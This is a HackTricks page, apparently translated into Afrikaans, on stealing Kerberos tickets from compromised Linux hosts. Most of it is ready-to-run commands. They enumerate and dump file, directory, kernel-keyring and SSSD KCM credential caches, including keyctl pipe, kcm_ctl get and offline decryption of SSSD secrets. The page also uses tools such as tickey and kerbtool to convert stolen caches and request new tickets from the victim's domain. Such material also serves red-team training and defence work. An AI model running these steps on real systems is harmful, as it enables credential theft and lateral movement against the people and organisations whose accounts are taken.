Oes van Tickets op Linux

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Bewaring van inlogbewyse op Linux

Linux-stelsels stoor inlogbewyse in drie tipes caches, naamlik Files (in die /tmp directory), Kernel Keyrings (’n spesiale segment in die Linux-kern), en Process Memory (vir single-process gebruik). Die default_ccache_name veranderlike in /etc/krb5.conf openbaar watter bergingstipe in gebruik is, en staan standaard op FILE:/tmp/krb5cc_%{uid} indien nie gespesifiseer nie.

MIT/Heimdal ondersteun ook addisionele backends waarna jy moet soek tydens post-exploitation:

  • DIR:/run/user/%{uid}/krb5cc for directory-backed multi-ticket caches (systemd-logind default on modern distros).
  • KEYRING:persistent:%{uid} or KEYRING:session to stash ccaches inside the kernel keyring (KEY_SPEC_SESSION_KEYRING, KEY_SPEC_USER_KEYRING, etc.).
  • KCM:%{uid} when SSSD’s Kerberos Cache Manager daemon (kcm) fronts ticket storage.
  • MEMORY:unique_id for process-local caches created by libraries (gssproxy, sshd, etc.).

Whenever you pop a shell, dump KRB5CCNAME from /proc/<pid>/environ of interesting daemons (e.g. Apache, sshd, gssproxy) to know which cache backend is being used before you start copying files.

Enumerering van aktiewe caches

Lys die caches op voor ekstraksie om te voorkom dat jy hoë-waarde tickets mis:

$ klist -l            # list caches registered in the local keyring/KCM
$ klist -A            # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;

Die kombinasie van klist, keyctl, en /proc-inspeksie dui gou aan of geloofsbriewe in lêers, keyrings, of KCM woon, sodat jy die regte dumping-tegniek kan kies.

Onttrekking van geloofsbriewe

Die 2017-papier, Kerberos Credential Thievery (GNU/Linux), skets metodes om geloofsbriewe uit keyrings en prosesse te onttrek, en beklemtoon die Linux-kern se keyring-meganisme vir die bestuur en stoor van sleutels.

Keyring Extraction Overview

Die keyctl system call, geïntroduceer in kernel weergawe 2.6.10, laat user space-toepassings toe om met kernel keyrings te kommunikeer. Geloofsbriewe in keyrings word as komponente gestoor (default principal and credentials), wat verskil van file ccaches wat ook ’n header insluit. Die hercules.sh script uit die artikel demonstreer hoe om hierdie komponente te onttrek en te herbou in ’n bruikbare file ccache vir credential theft. Onthou dat in keyrings gestoor ccaches kan leef onder KEYRING:persistent:%{uid} (permanent oor logins), KEYRING:session (verwyder by logout), of selfs KEY_SPEC_THREAD_KEYRING vir dienste wat helper-drade spawn — tel dus altyd alle keyring-tipes vir die gekompromitteerde UID op.

Handmatige KEYRING-werkvloei

Jy kan tickets manueel oes sonder helper-skripte wanneer default_ccache_name gestel is op KEYRING::

$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING                       # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump  # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist        # validate the stolen cache

As verskeie principals gestoor is, herhaal die keyctl pipe-stap per seriële nommer, en skakel dan die uitgehaalde ccache om na ’n Windows-vriendelike .kirbi/.ccache met gereedskap soos kerbtool (sien hieronder) of ticketConverter.py voordat dit vanaf ander masjiene hergebruik word.

File/DIR Cache-diefstal — Vinnige wenke

Wanneer credentials as FILE: of DIR: caches gestoor word, is eenvoudige lêeroperasies gewoonlik genoeg:

$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache

Directory caches bevat een lêer per service ticket, dus komprimeer die hele gids en exfiltrate die hele directory om TGT + TGS-pare intak te hou. Jy kan jou tooling ook direk na die gids wys: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....

Uitlees van KCM-beheerde caches

SSSD’s Kerberos Cache Manager (kcm) proxy’s credential storage deur /var/run/kcm/kcmsock (of /run/.heim_org.h5l.kcm-socket) en bewaar geïnkripteerde blobs binne /var/lib/sss/secrets/ saam met .secrets.mkey. Aanvalsvloei:

  1. Identifiseer KCM-gebruik via /etc/krb5.conf (default_ccache_name = KCM:) of die uitsette van klist -l.
  2. As jy UID 0 het of deel is van die kcm SELinux-domein, enumereer caches via die management tool:
$ sudo kcm_ctl list                 # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
  1. Offline approach: copy /var/lib/sss/secrets/secrets.ldb plus /var/lib/sss/secrets/.secrets.mkey, then run SSSDKCMExtractor (or similar PoCs) to decrypt and reassemble ccaches without touching the live socket. This is especially useful in forensics or when socket ACLs block you but disk access is possible.

Omdat die kcm daemon UID-based ACLs wat deur SSSD afgedwing word eerbiedig, is privilege escalation na root (of die kompromittering van sssd_kcm) gewoonlik nodig, maar sodra dit bereik is kan jy elke gebruiker se TGT in sekondes dump.

Gereedskap vir ticket-uittrekking

Automatisering van bogenoemde stappe verminder foute en gee jou cross-platform ticket-materiaal wat jy vanaf Windows tooling kan herhaal.

Tickey

Gebou op die beginsels van die hercules.sh script, is die tickey hulpmiddel spesifiek ontwerp om tickets vanaf keyrings te onttrek, uitgevoer via /tmp/tickey -i. Dit enumereer kernel keyrings, rekonstureer die serialized ccaches, en skryf MIT-kompatibele cache-lêers wat jy onmiddellik kan voer aan klist, impacket-*, of kerberoast gereedskap.

Kerbtool

kerbtool is ’n moderne Go utility wat natively op Linux loop en Kerberos tickets kan parse, omskakel, en versoek. Twee handige gebruiksgevalle wanneer jy vanaf Linux-masjiene tickets insamel:

# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi

# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local

As jy beide tickey en kerbtool op jou implant host het, kan jy naatloos tussen Linux, Windows en platformonafhanklike Kerberos-aanvalsreekse beweeg.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks